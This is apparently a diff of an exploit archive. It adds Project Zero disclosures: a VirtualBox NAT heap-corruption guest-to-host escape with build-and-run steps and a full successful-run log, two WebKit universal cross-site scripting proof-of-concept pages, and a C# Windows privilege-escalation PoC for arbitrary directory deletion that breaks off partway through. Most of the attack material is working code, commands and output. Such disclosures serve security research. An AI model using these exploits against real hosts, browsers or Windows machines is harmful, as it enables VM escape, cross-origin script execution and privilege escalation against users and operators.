the IP header has not been validated at all. All following code that
|
||||
processes packets relies on the correctness of `m->m_len`, so by
|
||||
sending an IP header with a bogus length field, an attacker can cause
|
||||
all following code to operate on out-of-bounds data.
|
||||
|
||||
In particular, an attacker can use this bug to obtain the following
|
||||
attack primitives:
|
||||
|
||||
- The attacker can leak out-of-bounds heap data by sending a UDP
|
||||
packet to a host on the internet with checksum 0 and a bogus length
|
||||
field in the IP header.
|
||||
The host process will send a (possibly fragmented) UDP packet to
|
||||
the specified host on the internet that includes out-of-bounds heap
|
||||
data.
|
||||
This method requires a cooperating host on the internet that the VM
|
||||
can talk to using the NAT network interface.
|
||||
- The attacker can leak out-of-bounds heap data by sending an ICMP
|
||||
Echo Request with a bogus length field in the IP header
|
||||
to the CTL_DNS address. The VM host then responds with an ICMP Echo
|
||||
Reply that includes out-of-bounds heap data.
|
||||
This approach has the advantage of not requiring a cooperating,
|
||||
reachable server on the internet, but has the disadvantage that
|
||||
the attacker needs to guess the 16-bit ICMP checksum.
|
||||
- The attacker can corrupt the heap by sending a UDP packet with a
|
||||
bogus length whose IP header contains IP options. The host process
|
||||
will then attempt to strip the IP headers via ip_input -> udp_input
|
||||
-> ip_stripoptions -> memcpy, which moves the IP payload - including
|
||||
out-of-bounds heap data - to a lower address. This can
|
||||
in particular be abused to overwrite a slirp heap chunk header
|
||||
(struct item) with attacker-controlled packet data.
|
||||
|
||||
I have attached a crash PoC. Copy it into a VM whose only network
|
||||
interface is a NAT interface, compile it with
|
||||
"gcc -o crasher crasher.c" and run it with "sudo ./crasher". The VM
|
||||
should die after a few seconds, with something like this appearing in
|
||||
dmesg on the host:
|
||||
|
||||
[107463.674598] traps: EMT-0[66638] general protection ip:7fc6a26076e8 sp:7fc6d2e27ad0 error:0 in VBoxDD.so[7fc6a24e2000+36d000]
|
||||
|
||||
I have tested my crasher in VirtualBox version "5.1.14 r112924".
|
||||
|
||||
The bug was introduced in SVN revision
|
||||
<https://www.virtualbox.org/changeset/23155/vbox>.
|
||||
|
||||
################################################################################
|
||||
|
||||
Without modifications,
|
||||
the exploit should work under the following conditions:
|
||||
|
||||
- host runs Ubuntu 14.04 (trusty), 64-bit
|
||||
- host uses libc6 package version 2.19-0ubuntu6.9 (most recent
|
||||
version)
|
||||
- VirtualBox version is 5.1.14~112924~Ubuntu~trusty (official build)
|
||||
(most recent version)
|
||||
- guest runs Linux
|
||||
- main network interface of the VM is a NAT interface (default
|
||||
config)
|
||||
|
||||
The exploit is able to run an arbitrary shell command on the host
|
||||
system. The command is hardcoded to "id > /tmp/owned_from_guest".
|
||||
|
||||
|
||||
Some things about the exploit that might be of interest to you:
|
||||
|
||||
The exploit operates on memory that belongs to the zone zone_clust of
|
||||
the UMA heap.
|
||||
The UMA heap is relatively easy to attack, partly because the sanity
|
||||
checks are compiled out in userland code in release builds. For
|
||||
example, the check
|
||||
`Assert((zone->magic == ZONE_MAGIC && zone == it->zone))` in
|
||||
uma_zfree_arg() becomes a no-op, and the LIST_CHECKs in LIST_REMOVE()
|
||||
have no effect. In particular, because the `zone == it->zone`
|
||||
assertion is not compiled into release builds, an attacker who can
|
||||
overwrite an item header and point its member ->zone to a controlled
|
||||
memory area can cause an arbitrary function it->zone->pfFini to be
|
||||
called when the item whose header was overwritten is freed.
|
||||
It might make sense to turn assertions in the allocator into something
|
||||
that is also active in release builds.
|
||||
|
||||
For exploiting the bug, it was very helpful that the VirtualBox binary
|
||||
is built as non-relocatable, meaning that the binary is always loaded
|
||||
at the same virtual address. The exploit uses a hardcoded address to
|
||||
leak the contents of the GOT (global offset table), which can then be
|
||||
used to locate the addresses of libc functions.
|
||||
It's probably a good idea to build the VirtualBox binaries as
|
||||
relocatable code to prevent attacks from simply using
|
||||
hardcoded addresses - and this mitigation is pretty simple to
|
||||
implement, you just have to add some compiler flags (`-pie -fPIE`
|
||||
or so). To verify that it's working, run VirtualBox, then as root,
|
||||
grep the contents of /proc/{pid of VirtualBox}/maps for VirtualBox and
|
||||
verify that the mappings don't have low ranges like 00400000-00408000,
|
||||
but use high addresses like 7ffb0f62e000 instead.
|
||||
|
||||
As far as I can tell from the source, on a Linux or Mac host, an
|
||||
attacker who has compromised the VM host process can also run
|
||||
arbitrary code in the host kernel using the ioctls SUP_IOCTL_LDR_OPEN
|
||||
and SUP_IOCTL_LDR_LOAD. If that is indeed the case, it might make
|
||||
sense to reduce the privileges of the userland host code by
|
||||
sandboxing components like the shared folder host and the NAT
|
||||
implementation and/or by rearchitecting VirtualBox so that the host
|
||||
kernel doesn't trust the host userland binary.
|
||||
|
||||
|
||||
To reproduce the bug with the attached exploit:
|
||||
|
||||
- On the host or some other box on the internet, compile and run the
|
||||
helper:
|
||||
|
||||
$ gcc -o helper helper.c -Wall
|
||||
$ ./helper
|
||||
|
||||
- In the guest, compile the exploit:
|
||||
|
||||
# gcc -o bcs bcs.c -Wall -std=gnu99
|
||||
|
||||
(This may throw some harmless format string warnings depending on
|
||||
whether the guest is 64-bit.)
|
||||
|
||||
- To improve reliability, ensure that the guest isn't
|
||||
running any network services or clients, save the guest VM and
|
||||
restore it. (Saving and restoring the guest resets the Slirp heap.)
|
||||
|
||||
- In the guest, as root, run the exploit. Pass the helper host's IP
|
||||
address as argument.
|
||||
|
||||
# ./bcs xxx.xxx.xxx.xxx
|
||||
|
||||
- If the exploit was successful, there should be a new file
|
||||
"/tmp/owned_from_guest" on the host that contains the output of the
|
||||
"id" command.
|
||||
|
||||
A successful run of the exploit should look like this:
|
||||
|
||||
==================================================================
|
||||
# ./bcs {censored}
|
||||
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* dev \([^ ]*\) .*|\1|' | tr -d '\n'>>>
|
||||
enp0s3
|
||||
================================
|
||||
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* src \([^ ]*\) .*|\1|' | tr -d '\n'>>>
|
||||
10.0.2.15
|
||||
================================
|
||||
systemf: <<<ip route get 8.8.8.8 | grep ' dev ' | sed 's|.* via \([^ ]*\) .*|\1|' | tr -d '\n'>>>
|
||||
10.0.2.2
|
||||
================================
|
||||
systemf: <<<ping -c3 -w4 10.0.2.2>>>
|
||||
PING 10.0.2.2 (10.0.2.2) 56(84) bytes of data.
|
||||
64 bytes from 10.0.2.2: icmp_seq=2 ttl=64 time=0.375 ms
|
||||
64 bytes from 10.0.2.2: icmp_seq=3 ttl=64 time=0.277 ms
|
||||
64 bytes from 10.0.2.2: icmp_seq=4 ttl=64 time=0.297 ms
|
||||
|
||||
--- 10.0.2.2 ping statistics ---
|
||||
4 packets transmitted, 3 received, 25% packet loss, time 3054ms
|
||||
rtt min/avg/max/mdev = 0.277/0.316/0.375/0.044 ms
|
||||
|
||||
================================
|
||||
systemf: <<<arp -s 10.0.2.2 01:23:45:67:89:ab>>>
|
||||
systemf: <<<iptables -I OUTPUT -o enp0s3 -j DROP>>>
|
||||
defragging...
|
||||
defragged
|
||||
trying to leak...
|
||||
|
||||
got UDP, len=68
|
||||
leak_udp successful
|
||||
got data
|
||||
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
|
||||
00000010 01 00 00 00 00 00 00 00 58 3e 26 35 56 7f 00 00 |........X>&5V...|
|
||||
00000020 18 2e 26 35 56 7f 00 00 |..&5V...|
|
||||
00000028
|
||||
magic: 0xdead0001
|
||||
zone: 0x7f5648b4e600
|
||||
refcount: 0x1
|
||||
next: 0x7f5635263e58
|
||||
prev: 0x7f5635262e00
|
||||
defragging...
|
||||
defragged
|
||||
placed shell command at 0x7f5635263676
|
||||
freelist head at 0x7f5648b4e690
|
||||
trying to leak...
|
||||
|
||||
got UDP, len=68
|
||||
leak_udp successful
|
||||
got data
|
||||
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
|
||||
00000010 01 00 00 00 00 00 00 00 a0 ec 25 35 56 7f 00 00 |..........%5V...|
|
||||
00000020 60 dc 25 35 56 7f 00 00 |`.%5V...|
|
||||
00000028
|
||||
magic: 0xdead0001
|
||||
zone: 0x7f5648b4e600
|
||||
refcount: 0x1
|
||||
next: 0x7f563525eca0
|
||||
prev: 0x7f563525dc48
|
||||
defragging...
|
||||
defragged
|
||||
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525fd42, fake_zone at 0x7f563525fd4a
|
||||
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525f516, fake_zone at 0x7f563525f51e
|
||||
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525ecea, fake_zone at 0x7f563525ecf2
|
||||
fake zone packet item at 0x7f563525e474, dummy_next at 0x7f563525e4be, fake_zone at 0x7f563525e4c6
|
||||
send_udp_datashift(shift_amount=40, data_length=9368)
|
||||
send_udp_datashift(shift_amount=36, data_length=9368)
|
||||
sending packet2, ip_off=0x28, ip_id=0x1a
|
||||
trying to leak GOT from fake chunk...
|
||||
|
||||
got UDP, len=540
|
||||
leak_udp successful
|
||||
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00000200
|
||||
defragging...
|
||||
defragged
|
||||
|
||||
got UDP, len=540
|
||||
leak_udp successful
|
||||
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
00000010 b0 09 c0 97 56 7f 00 00 b6 0f 40 00 00 00 00 00 |....V.....@.....|
|
||||
00000020 10 9d c3 97 56 7f 00 00 a0 a0 c3 97 56 7f 00 00 |....V.......V...|
|
||||
00000030 e6 0f 40 00 00 00 00 00 90 28 c7 97 56 7f 00 00 |..@......(..V...|
|
||||
00000040 20 9d c3 97 56 7f 00 00 e0 03 15 98 56 7f 00 00 | ...V.......V...|
|
||||
00000050 26 10 40 00 00 00 00 00 36 10 40 00 00 00 00 00 |&.@.....6.@.....|
|
||||
00000060 50 9e b9 97 56 7f 00 00 56 10 40 00 00 00 00 00 |P...V...V.@.....|
|
||||
00000070 80 30 c6 97 56 7f 00 00 10 fc c0 97 56 7f 00 00 |.0..V.......V...|
|
||||
00000080 86 10 40 00 00 00 00 00 96 10 40 00 00 00 00 00 |..@.......@.....|
|
||||
00000090 c0 fe c0 97 56 7f 00 00 80 2c c7 97 56 7f 00 00 |....V....,..V...|
|
||||
000000a0 d0 9f c3 97 56 7f 00 00 30 9d c3 97 56 7f 00 00 |....V...0...V...|
|
||||
000000b0 60 28 c7 97 56 7f 00 00 90 e0 f3 97 56 7f 00 00 |`(..V.......V...|
|
||||
000000c0 70 c8 c6 97 56 7f 00 00 16 11 40 00 00 00 00 00 |p...V.....@.....|
|
||||
000000d0 30 0c c8 97 56 7f 00 00 a0 c8 c6 97 56 7f 00 00 |0...V.......V...|
|
||||
000000e0 60 c9 c6 97 56 7f 00 00 d0 0b 15 98 56 7f 00 00 |`...V.......V...|
|
||||
000000f0 66 11 40 00 00 00 00 00 76 11 40 00 00 00 00 00 |f.@.....v.@.....|
|
||||
00000100 86 11 40 00 00 00 00 00 96 11 40 00 00 00 00 00 |..@.......@.....|
|
||||
00000110 50 e1 f3 97 56 7f 00 00 b6 11 40 00 00 00 00 00 |P...V.....@.....|
|
||||
00000120 c6 11 40 00 00 00 00 00 00 00 00 00 00 00 00 00 |..@.............|
|
||||
00000130 00 00 00 00 00 00 00 00 ff ff ff ff 00 00 00 00 |................|
|
||||
00000140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00000160 00 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 |................|
|
||||
00000170 00 00 00 00 22 05 08 20 00 20 00 00 88 13 00 00 |....".. . ......|
|
||||
00000180 81 cb 05 00 02 00 00 00 b9 4b 40 00 00 00 00 00 |.........K@.....|
|
||||
00000190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
000001a0 00 00 00 00 00 00 00 00 2f 75 73 72 2f 6c 69 62 |......../usr/lib|
|
||||
000001b0 2f 76 69 72 74 75 61 6c 62 6f 78 00 56 69 72 74 |/virtualbox.Virt|
|
||||
000001c0 75 61 6c 42 6f 78 00 00 00 00 00 00 00 00 00 00 |ualBox..........|
|
||||
000001d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................|
|
||||
*
|
||||
00000200
|
||||
strlen at 0x7f5697c009b0
|
||||
system() at 0x7f5697bbe590
|
||||
calling system()...
|
||||
defragging...
|
||||
defragged
|
||||
trying to leak...
|
||||
|
||||
got UDP, len=68
|
||||
leak_udp successful
|
||||
got data
|
||||
00000000 01 00 ad de 00 00 00 00 00 e6 b4 48 56 7f 00 00 |...........HV...|
|
||||
00000010 01 00 00 00 00 00 00 00 84 cd 0f 35 56 7f 00 00 |...........5V...|
|
||||
00000020 44 bd 0f 35 56 7f 00 00 |D..5V...|
|
||||
00000028
|
||||
magic: 0xdead0001
|
||||
zone: 0x7f5648b4e600
|
||||
refcount: 0x1
|
||||
next: 0x7f56350fcd84
|
||||
prev: 0x7f56350fbd2c
|
||||
defragging...
|
||||
defragged
|
||||
fake zone packet item at 0x7f56350fc558, dummy_next at 0x7f56350fc5a2, fake_zone at 0x7f56350fc5aa
|
||||
send_udp_datashift(shift_amount=40, data_length=3092)
|
||||
send_udp_datashift(shift_amount=36, data_length=3092)
|
||||
sending packet2, ip_off=0xa, ip_id=0x27
|
||||
did that work?
|
||||
systemf: <<<iptables -D OUTPUT -o enp0s3 -j DROP>>>
|
||||
==================================================================
|
||||
|
||||
If the exploit crashes, you'll have to remove the firewall rule the
|
||||
exploit added with `iptables -D OUTPUT -o {interface} -j DROP` inside
|
||||
the VM to restore network connectivity.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41904.zip
|
123
platforms/multiple/webapps/41899.html
Executable file
123
platforms/multiple/webapps/41899.html
Executable file
|
@ -0,0 +1,123 @@
|
|||
<!--
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1084
|
||||
|
||||
When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.
|
||||
|
||||
Here's some snippets of that routine.
|
||||
|
||||
Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
|
||||
{
|
||||
...
|
||||
if (newTarget && newTarget != exec->jsCallee()) {
|
||||
// newTarget may be an InternalFunction if we were called from Reflect.construct.
|
||||
JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);
|
||||
|
||||
if (LIKELY(targetFunction)) {
|
||||
...
|
||||
return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
|
||||
...
|
||||
} else {
|
||||
...
|
||||
return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
|
||||
...
|
||||
}
|
||||
}
|
||||
|
||||
return baseClass;
|
||||
}
|
||||
|
||||
inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
|
||||
{
|
||||
...
|
||||
Structure* structure = Structure::create(
|
||||
prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
|
||||
m_structures.set(key, Weak<Structure>(structure));
|
||||
...
|
||||
}
|
||||
|
||||
As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.
|
||||
|
||||
Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).
|
||||
|
||||
More simple way:
|
||||
let f = document.body.appendChild(document.createElement('iframe'));
|
||||
f.onload = () => {
|
||||
f.onload = null;
|
||||
|
||||
let g = function () {};
|
||||
g.prototype = f.contentWindow;
|
||||
|
||||
let a = Reflect.construct(Function, ['return window[0].eval;'], g);
|
||||
let e = a();
|
||||
e('alert(location)');
|
||||
};
|
||||
|
||||
f.src = 'https://abc.xyz/';
|
||||
-->
|
||||
|
||||
<body>
|
||||
<script>
|
||||
|
||||
/*
|
||||
|
||||
When creating an object in Javascript, its |Structure| is created with the constructor's prototype's |VM|.
|
||||
|
||||
Here's some snippets of that routine.
|
||||
|
||||
Structure* InternalFunction::createSubclassStructure(ExecState* exec, JSValue newTarget, Structure* baseClass)
|
||||
{
|
||||
...
|
||||
if (newTarget && newTarget != exec->jsCallee()) {
|
||||
// newTarget may be an InternalFunction if we were called from Reflect.construct.
|
||||
JSFunction* targetFunction = jsDynamicCast<JSFunction*>(newTarget);
|
||||
|
||||
if (LIKELY(targetFunction)) {
|
||||
...
|
||||
return targetFunction->rareData(vm)->createInternalFunctionAllocationStructureFromBase(vm, prototype, baseClass);
|
||||
...
|
||||
} else {
|
||||
...
|
||||
return vm.prototypeMap.emptyStructureForPrototypeFromBaseStructure(prototype, baseClass);
|
||||
...
|
||||
}
|
||||
}
|
||||
|
||||
return baseClass;
|
||||
}
|
||||
|
||||
inline Structure* PrototypeMap::createEmptyStructure(JSObject* prototype, const TypeInfo& typeInfo, const ClassInfo* classInfo, IndexingType indexingType, unsigned inlineCapacity)
|
||||
{
|
||||
...
|
||||
Structure* structure = Structure::create(
|
||||
prototype->globalObject()->vm(), prototype->globalObject(), prototype, typeInfo, classInfo, indexingType, inlineCapacity);
|
||||
m_structures.set(key, Weak<Structure>(structure));
|
||||
...
|
||||
}
|
||||
|
||||
As we can see |Structure::create| is called with prototype's |vm| and |globalObject| as arguments. So it could lead to an UXSS condition.
|
||||
|
||||
Tested on Safari 10.0.2(12602.3.12.0.1) and Webkit Nightly 10.0.2(12602.3.12.0.1, r210800).
|
||||
|
||||
*/
|
||||
|
||||
'use strict';
|
||||
|
||||
function main() {
|
||||
let f = document.body.appendChild(document.createElement('iframe'));
|
||||
f.onload = () => {
|
||||
f.onload = null;
|
||||
|
||||
let g = function () {};
|
||||
g.prototype = f.contentWindow;
|
||||
|
||||
let a = Reflect.construct(Intl.NumberFormat, [], g);
|
||||
Intl.NumberFormat.prototype.__lookupGetter__("format").call(a).constructor('alert(location)')();
|
||||
};
|
||||
|
||||
f.src = 'https://abc.xyz/';
|
||||
}
|
||||
|
||||
main();
|
||||
|
||||
</script>
|
||||
</body>
|
41
platforms/multiple/webapps/41900.html
Executable file
41
platforms/multiple/webapps/41900.html
Executable file
|
@ -0,0 +1,41 @@
|
|||
<!--
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1094
|
||||
|
||||
Once a spread operation is optimized, the function |operationSpreadGeneric| will be called from then on. But operationSpreadGeneric's trying to get a JSGlobalObject from the argument of a spread operation.
|
||||
|
||||
It seems that that optimization is not implemented to the release version of Safari yet.
|
||||
|
||||
Tested on the Nighly 10.0.2(12602.3.12.0.1, r210957)
|
||||
|
||||
PoC:
|
||||
-->
|
||||
|
||||
<body>
|
||||
<script>
|
||||
|
||||
'use strict';
|
||||
|
||||
function spread(a) {
|
||||
return [...a];
|
||||
}
|
||||
|
||||
let arr = Object.create([1, 2, 3, 4]);
|
||||
for (let i = 0; i < 0x10000; i++) {
|
||||
spread(arr);
|
||||
}
|
||||
|
||||
let f = document.body.appendChild(document.createElement('iframe'));
|
||||
f.onload = () => {
|
||||
f.onload = null;
|
||||
|
||||
try {
|
||||
spread(f.contentWindow);
|
||||
} catch (e) {
|
||||
e.constructor.constructor('alert(location)')();
|
||||
}
|
||||
};
|
||||
|
||||
f.src = 'https://abc.xyz/';
|
||||
|
||||
</script>
|
||||
</body>
|
538
platforms/windows/local/41901.cs
Executable file
538
platforms/windows/local/41901.cs
Executable file
|
@ -0,0 +1,538 @@
|
|||
/*
|
||||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1093
|
||||
|
||||
Windows: IEETWCollector Arbitrary Directory/File Deletion EoP
|
||||
Platform: Windows 10 10586 (not tested on anything else)
|
||||
Class: Elevation of Privilege
|
||||
|
||||
Summary:
|
||||
When cleaning up an ETW session the IEETWCollector service deletes its files and directories as LocalSystem allowing a user to delete arbitrary files or directories on the system.
|
||||
|
||||
Description:
|
||||
|
||||
When the IEETWCollection session is closed the service will call CIEEtwSessionData::DeleteSessionFiles which will delete the ETW log file and the directory in which it was stored. The directory is specified by the user during the CIEEtwCollector::CreateCollectionSession call to set up the session. While creating the log directory is done under impersonation (so we can’t create arbitrary directories) the cleanup is not. Therefore we can use symbolic link attacks to redirect the ETL and directory to arbitrary files or directory and when cleanup occurs it will delete them as LocalSystem.
|
||||
|
||||
Note due to the requirements for symbolic link attacks this should only be exploitable from a normal user even though the service is accessible from any AppContainer or Low IL application. Also worth noting that the ETL file is created outside of impersonation and so could also be redirected to create an arbitrary file, although the contents would be restricted to what could be sent to the logger. As a final note it looks like CIEEtwSessionData::DeleteSessionFiles is called via a number of routes, including when the COM object is released and when the process exits. Therefore using CoImpersonateClient isn’t appropriate (even in the Release case, as due to COM GC Release might not be called in the context of a remote call), you probably want to store the user token with the session and impersonate that in all situations.
|
||||
|
||||
While deleting files/directories might not seem to be too important you can use it to delete files in ProgramData or Windows\Temp which normally are OWNER RIGHTS locked to the creator. This could then be recreated by the user due to default DACLs and abuse functionality of other services/applications.
|
||||
|
||||
Proof of Concept:
|
||||
|
||||
I’ve provided a PoC as a C# source code file. It only demonstrates the deletion of a directory as that requires the least amount of setup. It uses the fact that if the loading of the agent DLL fails it will call the CIEEtwSessionData::DeleteSessionFiles method.
|
||||
|
||||
1) Compile the C# source code file.
|
||||
2) Execute the poc passing the path to a directory to delete. This directory should already be empty, and to demonstrate EoP shouldn’t be deletable by the current user.
|
||||
3) It should print that it successfully deleted the directory.
|
||||
|
||||
Expected Result:
|
||||
The target directory isn’t deleted.
|
||||
|
||||
Observed Result:
|
||||
The target directory is deleted.
|
||||
*/
|
||||
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.AccessControl;
|
||||
|
||||
namespace NS
|
||||
{
|
||||
class Program
|
||||
{
|
||||
[Flags]
|
||||
public enum AttributeFlags : uint
|
||||
{
|
||||
None = 0,
|
||||
Inherit = 0x00000002,
|
||||
Permanent = 0x00000010,
|
||||
Exclusive = 0x00000020,
|
||||
CaseInsensitive = 0x00000040,
|
||||
OpenIf = 0x00000080,
|
||||
OpenLink = 0x00000100,
|
||||
KernelHandle = 0x00000200,
|
||||
ForceAccessCheck = 0x00000400,
|
||||
IgnoreImpersonatedDevicemap = 0x00000800,
|
||||
DontReparse = 0x00001000,
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum GenericAccessRights : uint
|
||||
{
|
||||
None = 0,
|
||||
GenericRead = 0x80000000,
|
||||
GenericWrite = 0x40000000,
|
||||
GenericExecute = 0x20000000,
|
||||
GenericAll = 0x10000000,
|
||||
Delete = 0x00010000,
|
||||
ReadControl = 0x00020000,
|
||||
WriteDac = 0x00040000,
|
||||
WriteOwner = 0x00080000,
|
||||
Synchronize = 0x00100000,
|
||||
MaximumAllowed = 0x02000000,
|
||||
};
|
||||
|
||||
|
||||
[Flags]
|
||||
enum DirectoryAccessRights : uint
|
||||
{
|
||||
Query = 1,
|
||||
Traverse = 2,
|
||||
CreateObject = 4,
|
||||
CreateSubDirectory = 8,
|
||||
GenericRead = 0x80000000,
|
||||
GenericWrite = 0x40000000,
|
||||
GenericExecute = 0x20000000,
|
||||
GenericAll = 0x10000000,
|
||||
Delete = 0x00010000,
|
||||
ReadControl = 0x00020000,
|
||||
WriteDac = 0x00040000,
|
||||
WriteOwner = 0x00080000,
|
||||
Synchronize = 0x00100000,
|
||||
MaximumAllowed = 0x02000000,
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public sealed class UnicodeString
|
||||
{
|
||||
ushort Length;
|
||||
ushort MaximumLength;
|
||||
[MarshalAs(UnmanagedType.LPWStr)]
|
||||
string Buffer;
|
||||
|
||||
public UnicodeString(string str)
|
||||
{
|
||||
Length = (ushort)(str.Length * 2);
|
||||
MaximumLength = (ushort)((str.Length * 2) + 1);
|
||||
Buffer = str;
|
||||
}
|
||||
}
|
||||
|
||||
[DllImport("ntdll.dll")]
|
||||
static extern int NtClose(IntPtr handle);
|
||||
|
||||
public sealed class SafeKernelObjectHandle
|
||||
: SafeHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
public SafeKernelObjectHandle()
|
||||
: base(true)
|
||||
{
|
||||
}
|
||||
|
||||
public SafeKernelObjectHandle(IntPtr handle, bool owns_handle)
|
||||
: base(owns_handle)
|
||||
{
|
||||
SetHandle(handle);
|
||||
}
|
||||
|
||||
protected override bool ReleaseHandle()
|
||||
{
|
||||
if (!IsInvalid)
|
||||
{
|
||||
NtClose(this.handle);
|
||||
this.handle = IntPtr.Zero;
|
||||
return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public enum SecurityImpersonationLevel
|
||||
{
|
||||
Anonymous = 0,
|
||||
Identification = 1,
|
||||
Impersonation = 2,
|
||||
Delegation = 3
|
||||
}
|
||||
|
||||
public enum SecurityContextTrackingMode : byte
|
||||
{
|
||||
Static = 0,
|
||||
Dynamic = 1
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
public sealed class SecurityQualityOfService
|
||||
{
|
||||
int Length;
|
||||
public SecurityImpersonationLevel ImpersonationLevel;
|
||||
public SecurityContextTrackingMode ContextTrackingMode;
|
||||
[MarshalAs(UnmanagedType.U1)]
|
||||
public bool EffectiveOnly;
|
||||
|
||||
public SecurityQualityOfService()
|
||||
{
|
||||
Length = Marshal.SizeOf(this);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]
|
||||
public sealed class ObjectAttributes : IDisposable
|
||||
{
|
||||
int Length;
|
||||
IntPtr RootDirectory;
|
||||
IntPtr ObjectName;
|
||||
AttributeFlags Attributes;
|
||||
IntPtr SecurityDescriptor;
|
||||
IntPtr SecurityQualityOfService;
|
||||
|
||||
private static IntPtr AllocStruct(object s)
|
||||
{
|
||||
int size = Marshal.SizeOf(s);
|
||||
IntPtr ret = Marshal.AllocHGlobal(size);
|
||||
Marshal.StructureToPtr(s, ret, false);
|
||||
return ret;
|
||||
}
|
||||
|
||||
private static void FreeStruct(ref IntPtr p, Type struct_type)
|
||||
{
|
||||
Marshal.DestroyStructure(p, struct_type);
|
||||
Marshal.FreeHGlobal(p);
|
||||
p = IntPtr.Zero;
|
||||
}
|
||||
|
||||
public ObjectAttributes() : this(AttributeFlags.None)
|
||||
{
|
||||
}
|
||||
|
||||
public ObjectAttributes(string object_name, AttributeFlags attributes) : this(object_name, attributes, null, null, null)
|
||||
{
|
||||
}
|
||||
|
||||
public ObjectAttributes(AttributeFlags attributes) : this(null, attributes, null, null, null)
|
||||
{
|
||||
}
|
||||
|
||||
public ObjectAttributes(string object_name) : this(object_name, AttributeFlags.CaseInsensitive, null, null, null)
|
||||
{
|
||||
}
|
||||
|
||||
public ObjectAttributes(string object_name, AttributeFlags attributes, SafeKernelObjectHandle root, SecurityQualityOfService sqos, GenericSecurityDescriptor security_descriptor)
|
||||
{
|
||||
Length = Marshal.SizeOf(this);
|
||||
if (object_name != null)
|
||||
{
|
||||
ObjectName = AllocStruct(new UnicodeString(object_name));
|
||||
}
|
||||
Attributes = attributes;
|
||||
if (sqos != null)
|
||||
{
|
||||
SecurityQualityOfService = AllocStruct(sqos);
|
||||
}
|
||||
if (root != null)
|
||||
RootDirectory = root.DangerousGetHandle();
|
||||
if (security_descriptor != null)
|
||||
{
|
||||
byte[] sd_binary = new byte[security_descriptor.BinaryLength];
|
||||
security_descriptor.GetBinaryForm(sd_binary, 0);
|
||||
SecurityDescriptor = Marshal.AllocHGlobal(sd_binary.Length);
|
||||
Marshal.Copy(sd_binary, 0, SecurityDescriptor, sd_binary.Length);
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (ObjectName != IntPtr.Zero)
|
||||
{
|
||||
FreeStruct(ref ObjectName, typeof(UnicodeString));
|
||||
}
|
||||
if (SecurityQualityOfService != IntPtr.Zero)
|
||||
{
|
||||
FreeStruct(ref SecurityQualityOfService, typeof(SecurityQualityOfService));
|
||||
}
|
||||
if (SecurityDescriptor != IntPtr.Zero)
|
||||
{
|
||||
Marshal.FreeHGlobal(SecurityDescriptor);
|
||||
SecurityDescriptor = IntPtr.Zero;
|
||||
}
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
~ObjectAttributes()
|
||||
{
|
||||
Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
public static void StatusToNtException(int status)
|
||||
{
|
||||
if (status < 0)
|
||||
{
|
||||
throw new NtException(status);
|
||||
}
|
||||
}
|
||||
|
||||
public class NtException : ExternalException
|
||||
{
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern IntPtr GetModuleHandle(string modulename);
|
||||
|
||||
[Flags]
|
||||
enum FormatFlags
|
||||
{
|
||||
AllocateBuffer = 0x00000100,
|
||||
FromHModule = 0x00000800,
|
||||
FromSystem = 0x00001000,
|
||||
IgnoreInserts = 0x00000200
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
||||
private static extern int FormatMessage(
|
||||
FormatFlags dwFlags,
|
||||
IntPtr lpSource,
|
||||
int dwMessageId,
|
||||
int dwLanguageId,
|
||||
out IntPtr lpBuffer,
|
||||
int nSize,
|
||||
IntPtr Arguments
|
||||
);
|
||||
|
||||
